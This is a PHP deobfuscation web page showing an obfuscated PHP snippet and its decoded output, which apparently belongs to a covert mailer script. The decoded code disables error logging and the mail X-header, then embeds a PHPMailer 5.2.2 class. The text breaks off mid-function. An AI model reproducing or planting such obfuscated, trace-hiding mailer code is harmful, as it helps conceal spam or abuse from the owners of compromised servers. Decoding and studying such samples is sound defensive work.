Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $mpy='c';$iO='n';$P='4';$pPdi='f';$gu='z';$bw='d';$GqX='s';$ePpE='6';$cH='b';$XE='i'..

Decoded Output download

?><?php
@ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('mail.add_x_header', 0); class PHPMailer { public $CharSet = 'iso-8859-1'; public $ContentType = 'text/plain'; public $Encoding = '8bit'; public $ErrorInfo = ''; public $From = 'root@localhost'; public $FromName = 'Root User'; public $Sender = ''; public $ReturnPath = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = 'mail'; public $Sendmail = '/usr/sbin/sendmail'; public $UseSendmailOptions = true; public $PluginDir = ''; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = 'localhost'; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAuth = false; public $Username = ''; public $Password = ''; public $AuthType = ''; public $Realm = ''; public $Workstation = ''; public $Timeout = 10; public $SMTPDebug = false; public $Debugoutput = "echo"; public $SMTPKeepAlive = false; public $SingleTo = false; public $SingleToArray = array( ); public $LE = "
"; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_private = ''; public $action_function = ''; public $Version = '5.2.2'; public $XMailer = ''; protected $smtp = null; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $attachment = array(); protected $CustomHeader = array(); protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; const STOP_MESSAGE = 0; const STOP_CONTINUE = 1; const STOP_CRITICAL = 2; const CRLF = "
"; private function mail_passthru($to, $subject, $body, $header, $params) { if (ini_get('safe_mode') || !($this->UseSendmailOptions)) { $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($subject)) , $body, $header); } else { $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($subject)) , $body, $header, $params); } return $rt; } private function edebug($str) { if ($this->Debugoutput == "error_log") { error_log($str); } else { echo $str; } } public function __construct($exceptions = false) { $this->exceptions = ($exceptions == true); } public function IsHTML($ishtml = true) { if ($ishtml) { $this->ContentType = 'text/html'; } else { $this->ContentType = 'text/plain'; } } public function IsSMTP() { $this->Mailer = 'smtp'; } public function IsMail() { $this->Mailer = 'mail'; } public function IsSendmail() { if (!stristr(ini_get('sendmail_path') , 'sendmail')) { $this->Sendmail = '/var/qmail/bin/sendmail'; } $this->Mailer = 'sendmail'; } public function IsQmail() { if (stristr(ini_get('sendmail_path') , 'qmail')) { $this->Sendmail = '/var/qmail/bin/sendmail'; } $this->Mailer = 'sendmail'; } public function AddAddress($address, $name = '') { return $this->AddAnAddress('to', $address, $name); } public function AddCC($address, $name = '') { return $this->AddAnAddress('cc', $address, $name); } public function AddBCC($address, $name = '') { return $this->AddAnAddress('bcc', $address, $name); } public function AddReplyTo($address, $name = '') { return $this->AddAnAddress('Reply-To', $address, $name); } protected function AddAnAddress($kind, $address, $name = '') { if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) { $this->SetError($this->Lang('Invalid recipient array') . ': ' . $kind); if ($this->exceptions) { throw new phpmailerException('Invalid recipient array: ' . $kind); } if ($this->SMTPDebug) { $this->edebug($this->Lang('Invalid recipient array') . ': ' . $kind); } return false; } $address = trim($address); $name = trim(preg_replace('/[
]+/', '', $name)); if (!$this->ValidateAddress($address)) { $this->SetError($this->Lang('invalid_address') . ': ' . $address); if ($this->exceptions) { throw new phpmailerException($this->Lang('invalid_address') . ': ' . $address); } if ($this->SMTPDebug) { $this->edebug($this->Lang('invalid_address') . ': ' . $address); } return false; } if ($kind != 'Reply-To') { if (!isset($this->all_recipients[strtolower($address) ])) { array_push($this->$kind, array( $address, $name )); $this->all_recipients[strtolower($address) ] = true; return true; } } else { if (!array_key_exists(strtolower($address) , $this->ReplyTo)) { $this->ReplyTo[strtolower($address) ] = array( $address, $name ); return true; } } return false; } public function SetFrom($address, $name = '', $auto = 1) { $address = trim($address); $name = trim(preg_replace('/[
]+/', '', $name)); if (!$this->ValidateAddress($address)) { $this->SetError($this->Lang('invalid_address') . ': ' . $address); if ($this->exceptions) { throw new phpmailerException($this->Lang('invalid_address') . ': ' . $address); } if ($this->SMTPDebug) { $this->edebug($this->Lang('invalid_address') . ': ' . $address); } return false; } $this->From = $address; $this->FromName = $name; if ($auto) { if (empty($this->ReplyTo)) { $this->AddAnAddress('Reply-To', $address, $name); } if (empty($this->Sender)) { $this->Sender = $address; } } return true; } public static function ValidateAddress($address) { return preg_match('/^(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){65,}@)((?>(?>(?>((?>(?>(?>
)?[	 ])+|(?>[	 ]*
)?[	 ]+)?)(\((?>(?2)(?>[--\'*-\[\]-]|\[-]|(?3)))*(?2)\)))+(?2))|(?2))?)([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[--!#-\[\]-]|\[-]))*(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}|(?!(?:.*[a-f0-9][:\]]){7,})((?6)(?>:(?6)){0,5})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:|(?!(?:.*[a-f0-9]:){5,})(?8)?::(?>((?6)(?>:(?6)){0,3}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address); } public function Send() { try { if (!$this->PreSend()) return false; return $this->PostSend(); } catch(phpmailerException $e) { $this->mailHeader = ''; $this->SetError($e->getMessage()); if ($this->exceptions) { throw $e; } return false; } } public function PreSend() { try { $this->mailHeader = ""; if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) { throw new phpmailerException($this->Lang('provide_address') , self::STOP_CRITICAL); } if (!empty($this->AltBody)) { $this->ContentType = 'multipart/alternative'; } $this->error_count = 0; $this->SetMessageType(); if (empty($this->Body)) { throw new phpmailerException($this->Lang('empty_message') , self::STOP_CRITICAL); } $this->MIMEHeader = $this->CreateHeader(); $this->MIMEBody = $this->CreateBody(); if ($this->Mailer == 'mail') { if (count($this->to) > 0) { $this->mailHeader.= $this->AddrAppend("To", $this->to); } else { $this->mailHeader.= $this->HeaderLine("To", "undisclosed-recipients:;"); } $this->mailHeader.= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader(trim($this->Subject)))); } if (!empty($this->DKIM_domain) && !empty($this->DKIM_private) && !empty($this->DKIM_selector) && !empty($this->DKIM_domain) && file_exists($this->DKIM_private)) { $header_dkim = $this->DKIM_Add($this->MIMEHeader, $this->EncodeHeader($this->SecureHeader($this->Subject)) , $this->MIMEBody); $this->MIMEHeader = str_replace("
", "
", $header_dkim) . $this->MIMEHeader; } return true; } catch(phpmailerException $e) { $this->SetError($e->getMessage()); if ($this->exceptions) { throw $e; } return false; } } public function PostSend() { try { switch ($this->Mailer) { case 'sendmail': return $this->SendmailSend($this->MIMEHeader, $this->MIMEBody); case 'smtp': return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody); case 'mail': return $this->MailSend($this->MIMEHeader, $this->MIMEBody); default: return $this->MailSend($this->MIMEHeader, $this->MIMEBody); } } catch(phpmailerException $e) { $this->SetError($e->getMessage()); if ($this->exceptions) { throw $e; } if ($this->SMTPDebug) { $this->edebug($e->getMessage() . "
"); } } return false; } protected function SendmailSend($header, $body) { if ($this->Sender != '') { $sendmail = sprintf("%s -oi -f%s -t", escapeshellcmd($this->Sendmail) , escapeshellarg($this->Sender)); } else { $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail)); } if ($this->SingleTo === true) { foreach($this->SingleToArray as $val) { if (!@$mail = popen($sendmail, 'w')) { throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, "To: " . $val . "
"); fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $isSent = ($result == 0) ? 1 : 0; $this->doCallback($isSent, $val, $this->cc, $this->bcc, $this->Subject, $body); if ($result != 0) { throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } } else { if (!@$mail = popen($sendmail, 'w')) { throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $isSent = ($result == 0) ? 1 : 0; $this->doCallback($isSent, $this->to, $this->cc, $this->bcc, $this->Subject, $body); if ($result != 0) { throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } return true; } protected function MailSend($header, $body) { $toArr = array(); foreach($this->to as $t) { $toArr[] = $this->AddrFormat($t); } $to = implode(', ', $toArr); if (empty($this->Sender)) { $params = "-oi "; } else { $params = sprintf("-oi -f%s", $this->Sender); } if ($this->Sender != '' and !ini_get('safe_mode')) { $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->Sender); } $rt = false; if ($this->SingleTo === true && count($toArr) > 1) { foreach($toArr as $val) { $rt = $this->mail_passthru($val, $this->Subject, $body, $header, $params); $isSent = ($rt == 1) ? 1 : 0; $this->doCallback($isSent, $val, $this->cc, $this->bcc, $this->Subject, $body); } } else { $rt = $this->mail_passthru($to, $this->Subject, $body, $header, $params); $isSent = ($rt == 1) ? 1 : 0; $this->doCallback($isSent, $to, $this->cc, $this->bcc, $this->Subject, $body); } if (isset($old_from)) { ini_set('sendmail_from', $old_from); } if (!$rt) { throw new phpmailerException($this->Lang('instantiate') , self::STOP_CRITICAL); } return true; } protected function SmtpSend($header, $body) { $bad_rcpt = array(); if (!$this->SmtpConnect()) { throw new phpmailerException($this->Lang('smtp_connect_failed') , self::STOP_CRITICAL); } $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender; if (!$this->smtp->Mail($smtp_from)) { throw new phpmailerException($this->Lang('from_failed') . $smtp_from, self::STOP_CRITICAL); } foreach($this->to as $to) { if (!$this->smtp->Recipient($to[0])) { $bad_rcpt[] = $to[0]; $isSent = 0; $this->doCallback($isSent, $to[0], '', '', $this->Subject, $body); } else { $isSent = 1; $this->doCallback($isSent, $to[0], '', '', $this->Subject, $body); } } foreach($this->cc as $cc) { if (!$this->smtp->Recipient($cc[0])) { $bad_rcpt[] = $cc[0]; $isSent = 0; $this->doCallback($isSent, '', $cc[0], '', $this->Subject, $body); } else { $isSent = 1; $this->doCallback($isSent, '', $cc[0], '', $this->Subject, $body); } } foreach($this->bcc as $bcc) { if (!$this->smtp->Recipient($bcc[0])) { $bad_rcpt[] = $bcc[0]; $isSent = 0; $this->doCallback($isSent, '', '', $bcc[0], $this->Subject, $body); } else { $isSent = 1; $this->doCallback($isSent, '', '', $bcc[0], $this->Subject, $body); } } if (count($bad_rcpt) > 0) { $badaddresses = implode(', ', $bad_rcpt); throw new phpmailerException($this->Lang('recipients_failed') . $badaddresses); } if (!$this->smtp->Data($header . $body)) { throw new phpmailerException($this->Lang('data_not_accepted') , self::STOP_CRITICAL); } if ($this->SMTPKeepAlive == true) { $this->smtp->Reset(); } else { $this->smtp->Quit(); $this->smtp->Close(); } return true; } public function SmtpConnect() { if (is_null($this->smtp)) { $this->smtp = new SMTP; } $this->smtp->Timeout = $this->Timeout; $this->smtp->do_debug = $this->SMTPDebug; $hosts = explode(';', $this->Host); $index = 0; $connection = $this->smtp->Connected(); try { while ($index < count($hosts) && !$connection) { $hostinfo = array(); if (preg_match('/^(.+):([0-9]+)$/', $hosts[$index], $hostinfo)) { $host = $hostinfo[1]; $port = $hostinfo[2]; } else { $host = $hosts[$index]; $port = $this->Port; } $tls = ($this->SMTPSecure == 'tls'); $ssl = ($this->SMTPSecure == 'ssl'); if ($this->smtp->Connect(($ssl ? 'ssl://' : '') . $host, $port, $this->Timeout)) { $hello = ($this->Helo != '' ? $this->Helo : $this->ServerHostname()); $this->smtp->Hello($hello); if ($tls) { if (!$this->smtp->StartTLS()) { throw new phpmailerException($this->Lang('tls')); } $this->smtp->Hello($hello); } $connection = true; if ($this->SMTPAuth) { if (!$this->smtp->Authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) { throw new phpmailerException($this->Lang('authenticate')); } } } $index++; if (!$connection) { throw new phpmailerException($this->Lang('connect_host')); } } } catch(phpmailerException $e) { $this->smtp->Reset(); if ($this->exceptions) { throw $e; } } return true; } public function SmtpClose() { if ($this->smtp !== null) { if ($this->smtp->Connected()) { $this->smtp->Quit(); $this->smtp->Close(); } } } function SetLanguage($langcode = 'en', $lang_path = 'language/') { $PHPMAILER_LANG = array( 'authenticate' => 'SMTP Error: Could not authenticate.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: Data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_connect_failed' => 'SMTP Connect() failed.', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ' ); $l = true; if ($langcode != 'en') { $l = @include $lang_path . 'phpmailer.lang-' . $langcode . '.php'; } $this->language = $PHPMAILER_LANG; return ($l == true); } public function GetTranslations() { return $this->language; } public function AddrAppend($type, $addr) { $addr_str = $type . ': '; $addresses = array(); foreach($addr as $a) { $addresses[] = $this->AddrFormat($a); } $addr_str.= implode(', ', $addresses); $addr_str.= $this->LE; return $addr_str; } public function AddrFormat($addr) { if (empty($addr[1])) { return $this->SecureHeader($addr[0]); } else { return $this->EncodeHeader($this->SecureHeader($addr[1]) , 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">"; } } public function WrapText($message, $length, $qp_mode = false) { $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE; $is_utf8 = (strtolower($this->CharSet) == "utf-8"); $lelen = strlen($this->LE); $crlflen = strlen(self::CRLF); $message = $this->FixEOL($message); if (substr($message, -$lelen) == $this->LE) { $message = substr($message, 0, -$lelen); } $line = explode($this->LE, $message); $message = ''; for ($i = 0; $i < count($line); $i++) { $line_part = explode(' ', $line[$i]); $buf = ''; for ($e = 0; $e < count($line_part); $e++) { $word = $line_part[$e]; if ($qp_mode and (strlen($word) > $length)) { $space_left = $length - strlen($buf) - $crlflen; if ($e != 0) { if ($space_left > 20) { $len = $space_left; if ($is_utf8) { $len = $this->UTF8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == "=") { $len--; } elseif (substr($word, $len - 2, 1) == "=") { $len-= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); $buf.= ' ' . $part; $message.= $buf . sprintf("=%s", self::CRLF); } else { $message.= $buf . $soft_break; } $buf = ''; } while (strlen($word) > 0) { $len = $length; if ($is_utf8) { $len = $this->UTF8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == "=") { $len--; } elseif (substr($word, $len - 2, 1) == "=") { $len-= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); if (strlen($word) > 0) { $message.= $part . sprintf("=%s", self::CRLF); } else { $buf = $part; } } } else { $buf_o = $buf; $buf.= ($e == 0) ? $word : (' ' . $word); if (strlen($buf) > $length and $buf_o != '') { $message.= $buf_o . $soft_break; $buf = $word; } } } $message.= $buf . self::CRLF; } return $message; } public function UTF8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false; $lookBack = 3; while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); $encodedCharPos = strpos($lastChunk, "="); if ($encodedCharPos !== false) { $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); $dec = hexdec($hex); if ($dec < 128) { $maxLength = ($encodedCharPos == 0) ? $maxLength : $maxLength - ($lookBack - $encodedCharPos); $foundSplitPos = true; } elseif ($dec >= 192) { $maxLength = $maxLength - ($lookBack - $encodedCharPos); $foundSplitPos = true; } elseif ($dec < 192) { $lookBack+= 3; } } else { $foundSplitPos = true; } } return $maxLength; } public function SetWordWrap() { if ($this->WordWrap < 1) { return; } switch ($this->message_type) { case 'alt': case 'alt_inline': case 'alt_attach': case 'alt_inline_attach': $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap); break; default: $this->Body = $this->WrapText($this->Body, $this->WordWrap); break; } } public function CreateHeader() { $result = ''; $uniq_id = md5(uniqid(time())); $this->boundary[1] = 'b1_' . $uniq_id; $this->boundary[2] = 'b2_' . $uniq_id; $this->boundary[3] = 'b3_' . $uniq_id; if ($this->MessageDate == '') { $result.= $this->HeaderLine('Date', self::RFCDate()); } else { $result.= $this->HeaderLine('Date', $this->MessageDate); } if ($this->ReturnPath) { $result.= $this->HeaderLine('Return-Path', trim($this->ReturnPath)); } elseif ($this->Sender == '') { $result.= $this->HeaderLine('Return-Path', trim($this->From)); } else { $result.= $this->HeaderLine('Return-Path', trim($this->Sender)); } if ($this->Mailer != 'mail') { if ($this->SingleTo === true) { foreach($this->to as $t) { $this->SingleToArray[] = $this->AddrFormat($t); } } else { if (count($this->to) > 0) { $result.= $this->AddrAppend('To', $this->to); } elseif (count($this->cc) == 0) { $result.= $this->HeaderLine('To', 'undisclosed-recipients:;'); } } } $from = array(); $from[0][0] = trim($this->From); $from[0][1] = $this->FromName; $result.= $this->AddrAppend('From', $from); if (count($this->cc) > 0) { $result.= $this->AddrAppend('Cc', $this->cc); } if ((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) { $result.= $this->AddrAppend('Bcc', $this->bcc); } if (count($this->ReplyTo) > 0) { $result.= $this->AddrAppend('Reply-To', $this->ReplyTo); } if ($this->Mailer != 'mail') { $result.= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject))); } if ($this->MessageID != '') { $result.= $this->HeaderLine('Message-ID', $this->MessageID); } else { $result.= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname() , $this->LE); } if ('' == $this->XMailer) { $result.= $this->HeaderLine('X-Mailer', 'PHPMailer ' . $this->Version . ' (http://code.google.com/a/apache-extras.org/p/phpmailer/)'); } else { $myXmailer = trim($this->XMailer); if ($myXmailer) { $result.= $this->HeaderLine('X-Mailer', $myXmailer); } } if ($this->ConfirmReadingTo != '') { $result.= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>'); } for ($index = 0; $index < count($this->CustomHeader); $index++) { $result.= $this->HeaderLine(trim($this->CustomHeader[$index][0]) , $this->EncodeHeader(trim($this->CustomHeader[$index][1]))); } if (!$this->sign_key_file) { $result.= $this->HeaderLine('MIME-Version', '1.0'); $result.= $this->GetMailMIME(); } return $result; } public function GetMailMIME() { $result = ''; switch ($this->message_type) { case 'inline': $result.= $this->HeaderLine('Content-Type', 'multipart/related;'); $result.= $this->TextLine("	boundary=\"" . $this->boundary[1] . '"'); break; case 'attach': case 'inline_attach': case 'alt_attach': case 'alt_inline_attach': $result.= $this->HeaderLine('Content-Type', 'multipart/mixed;'); $result.= $this->TextLine("	boundary=\"" . $this->boundary[1] . '"'); break; case 'alt': case 'alt_inline': $result.= $this->HeaderLine('Content-Type', 'multipart/alternative;'); $result.= $this->TextLine("	boundary=\"" . $this->boundary[1] . '"'); break; default: $result.= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding); $result.= $this->TextLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet); break; } if ($this->Mailer != 'mail') { $result.= $this->LE; } return $result; } public function GetSentMIMEMessage() { return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody; } public function CreateBody() { $body = ''; if ($this->sign_key_file) { $body.= $this->GetMailMIME() . $this->LE; } $this->SetWordWrap(); switch ($this->message_type) { case 'inline': $body.= $this->GetBoundary($this->boundary[1], '', '', ''); $body.= $this->EncodeString($this->Body, $this->Encoding); $body.= $this->LE . $this->LE; $body.= $this->AttachAll("inline", $this->boundary[1]); break; case 'attach': $body.= $this->GetBoundary($this->boundary[1], '', '', ''); $body.= $this->EncodeString($this->Body, $this->Encoding); $body.= $this->LE . $this->LE; $body.= $this->AttachAll("attachment", $this->boundary[1]); break; case 'inline_attach': $body.= $this->TextLine("--" . $this->boundary[1]); $body.= $this->HeaderLine('Content-Type', 'multipart/related;'); $body.= $this->TextLine("	boundary=\"" . $this->boundary[2] . '"'); $body.= $this->LE; $body.= $this->GetBoundary($this->boundary[2], '', '', ''); $body.= $this->EncodeString($this->Body, $this->Encoding); $body.= $this->LE . $this->LE; $body.= $this->AttachAll("inline", $this->boundary[2]); $body.= $this->LE; $body.= $this->AttachAll("attachment", $this->boundary[1]); break; case 'alt': $body.= $this->GetBoundary($this->boundary[1], '', 'text/plain', ''); $body.= $this->EncodeString($this->AltBody, $this->Encoding); $body.= $this->LE . $this->LE; $body.= $this->GetBoundary($this->boundary[1], '', 'text/html', ''); $body.= $this->EncodeString($this->Body, $this->Encoding); $body.= $this->LE . $this->LE; $body.= $this->EndBoundary($this->boundary[1]); break; case 'alt_inline': $body.= $this->GetBoundary($this->boundary[1], '', 'text/plain', ''); $body.= $this->EncodeString($this->AltBody, $this->Encoding); $body.= $this->LE . $this->LE; $body.= $this->TextLine("--" . $this->boundary[1]); $body.= $this->HeaderLine('Content-Type', 'multipart/related;'); $body.= $this->TextLine("	boundary=\"" . $this->boundary[2] . '"'); $body.= $this->LE; $body.= $this->GetBoundary($this->boundary[2], '', 'text/html', ''); $body.= $this->EncodeString($this->Body, $this->Encoding); $body.= $this->LE . $this->LE; $body.= $this->AttachAll("inline", $this->boundary[2]); $body.= $this->LE; $body.= $this->EndBoundary($this->boundary[1]); break; case 'alt_attach': $body.= $this->TextLine("--" . $this->boundary[1]); $body.= $this->HeaderLine('Content-Type', 'multipart/alternative;'); $body.= $this->TextLine("	boundary=\"" . $this->boundary[2] . '"'); $body.= $this->LE; $body.= $this->GetBoundary($this->boundary[2], '', 'text/plain', ''); $body.= $this->EncodeString($this->AltBody, $this->Encoding); $body.= $this->LE . $this->LE; $body.= $this->GetBoundary($this->boundary[2], '', 'text/html', ''); $body.= $this->EncodeString($this->Body, $this->Encoding); $body.= $this->LE . $this->LE; $body.= $this->EndBoundary($this->boundary[2]); $body.= $this->LE; $body.= $this->AttachAll("attachment", $this->boundary[1]); break; case 'alt_inline_attach': $body.= $this->TextLine("--" . $this->boundary[1]); $body.= $this->HeaderLine('Content-Type', 'multipart/alternative;'); $body.= $this->TextLine("	boundary=\"" . $this->boundary[2] . '"'); $body.= $this->LE; $body.= $this->GetBoundary($this->boundary[2], '', 'text/plain', ''); $body.= $this->EncodeString($this->AltBody, $this->Encoding); $body.= $this->LE . $this->LE; $body.= $this->TextLine("--" . $this->boundary[2]); $body.= $this->HeaderLine('Content-Type', 'multipart/related;'); $body.= $this->TextLine("	boundary=\"" . $this->boundary[3] . '"'); $body.= $this->LE; $body.= $this->GetBoundary($this->boundary[3], '', 'text/html', ''); $body.= $this->EncodeString($this->Body, $this->Encoding); $body.= $this->LE . $this->LE; $body.= $this->AttachAll("inline", $this->boundary[3]); $body.= $this->LE; $body.= $this->EndBoundary($this->boundary[2]); $body.= $this->LE; $body.= $this->AttachAll("attachment", $this->boundary[1]); break; default: $body.= $this->EncodeString($this->Body, $this->Encoding); break; } if ($this->IsError()) { $body = ''; } elseif ($this->sign_key_file) { try { $file = tempnam('', 'mail'); file_put_contents($file, $body); $signed = tempnam("", "signed"); if (@openssl_pkcs7_sign($file, $signed, "file://" . $this->sign_cert_file, array( "file://" . $this->sign_key_file, $this->sign_key_pass ) , NULL)) { @unlink($file); $body = file_get_contents($signed); @unlink($signed); } else { @unlink($file); @unlink($signed); throw new phpmailerException($this->Lang("signing") . openssl_error_string()); } } catch(phpmailerException $e) { $body = ''; if ($this->exceptions) { throw $e; } } } return $body; } protected function GetBoundary($boundary, $charSet, $contentType, $encoding) { $result = ''; if ($charSet == '') { $charSet = $this->CharSet; } if ($contentType == '') { $contentType = $this->ContentType; } if ($encoding == '') { $encoding = $this->Encoding; } $result.= $this->TextLine('--' . $boundary); $result.= sprintf("Content-Type: %s; charset=%s", $contentType, $charSet); $result.= $this->LE; $result.= $this->HeaderLine('Content-Transfer-Encoding', $encoding); $result.= $this->LE; return $result; } protected function EndBoundary($boundary) { return $this->LE . '--' . $boundary . '--' . $this->LE; } protected function SetMessageType() { $this->message_type = array(); if ($this->AlternativeExists()) $this->message_type[] = "alt"; if ($this->InlineImageExists()) $this->message_type[] = "inline"; if ($this->AttachmentExists()) $this->message_type[] = "attach"; $this->message_type = implode("_", $this->message_type); if ($this->message_type == "") $this->message_type = "plain"; } public function HeaderLine($name, $value) { return $name . ': ' . $value . $this->LE; } public function TextLine($value) { return $value . $this->LE; } public function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') { try { if (!@is_file($path)) { throw new phpmailerException($this->Lang('file_access') . $path, self::STOP_CONTINUE); } $filename = basename($path); if ($name == '') { $name = $filename; } $this->attachment[] = array( 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => 'attachment', 7 => 0 ); } catch(phpmailerException $e) { $this->SetError($e->getMessage()); if ($this->exceptions) { throw $e; } if ($this->SMTPDebug) { $this->edebug($e->getMessage() . "
"); } if ($e->getCode() == self::STOP_CRITICAL) { return false; } } return true; } public function GetAttachments() { return $this->attachment; } protected function AttachAll($disposition_type, $boundary) { $mime = array(); $cidUniq = array(); $incl = array(); foreach($this->attachment as $attachment) { if ($attachment[6] == $disposition_type) { $string = ''; $path = ''; $bString = $attachment[5]; if ($bString) { $string = $attachment[0]; } else { $path = $attachment[0]; } $inclhash = md5(serialize($attachment)); if (in_array($inclhash, $incl)) { continue; } $incl[] = $inclhash; $filename = $attachment[1]; $name = $attachment[2]; $encoding = $attachment[3]; $type = $attachment[4]; $disposition = $attachment[6]; $cid = $attachment[7]; if ($disposition == 'inline' && isset($cidUniq[$cid])) { continue; } $cidUniq[$cid] = true; $mime[] = sprintf("--%s%s", $boundary, $this->LE); $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $this->EncodeHeader($this->SecureHeader($name)) , $this->LE); $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE); if ($disposition == 'inline') { $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE); } $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $this->EncodeHeader($this->SecureHeader($name)) , $this->LE . $this->LE); if ($bString) { $mime[] = $this->EncodeString($string, $encoding); if ($this->IsError()) { return ''; } $mime[] = $this->LE . $this->LE; } else { $mime[] = $this->EncodeFile($path, $encoding); if ($this->IsError()) { return ''; } $mime[] = $this->LE . $this->LE; } } } $mime[] = sprintf("--%s--%s", $boundary, $this->LE); return implode("", $mime); } protected function EncodeFile($path, $encoding = 'base64') { try { if (!is_readable($path)) { throw new phpmailerException($this->Lang('file_open') . $path, self::STOP_CONTINUE); } $magic_quotes = get_magic_quotes_runtime(); if ($magic_quotes) { if (version_compare(PHP_VERSION, '5.3.0', '<')) { set_magic_quotes_runtime(0); } else { ini_set('magic_quotes_runtime', 0); } } $file_buffer = file_get_contents($path); $file_buffer = $this->EncodeString($file_buffer, $encoding); if ($magic_quotes) { if (version_compare(PHP_VERSION, '5.3.0', '<')) { set_magic_quotes_runtime($magic_quotes); } else { ini_set('magic_quotes_runtime', $magic_quotes); } } return $file_buffer; } catch(Exception $e) { $this->SetError($e->getMessage()); return ''; } } public function EncodeString($str, $encoding = 'base64') { $encoded = ''; switch (strtolower($encoding)) { case 'base64': $encoded = chunk_split(base64_encode($str) , 76, $this->LE); break; case '7bit': case '8bit': $encoded = $this->FixEOL($str); if (substr($encoded, -(strlen($this->LE))) != $this->LE) $encoded.= $this->LE; break; case 'binary': $encoded = $str; break; case 'quoted-printable': $encoded = $this->EncodeQP($str); break; default: $this->SetError($this->Lang('encoding') . $encoding); break; } return $encoded; } public function EncodeHeader($str, $position = 'text') { $x = 0; switch (strtolower($position)) { case 'phrase': if (!preg_match('/[-]/', $str)) { $encoded = addcslashes($str, "..\""); if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { return ($encoded); } else { return ("\"$encoded\""); } } $x = preg_match_all('/[^ !#-[]-~]/', $str, $matches); break; case 'comment': $x = preg_match_all('/[()"]/', $str, $matches); case 'text': default: $x+= preg_match_all('/[---]/', $str, $matches); break; } if ($x == 0) { return ($str); } $maxlen = 75 - 7 - strlen($this->CharSet); if (strlen($str) / 3 < $x) { $encoding = 'B'; if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) { $encoded = $this->Base64EncodeWrapMB($str, "
"); } else { $encoded = base64_encode($str); $maxlen-= $maxlen % 4; $encoded = trim(chunk_split($encoded, $maxlen, "
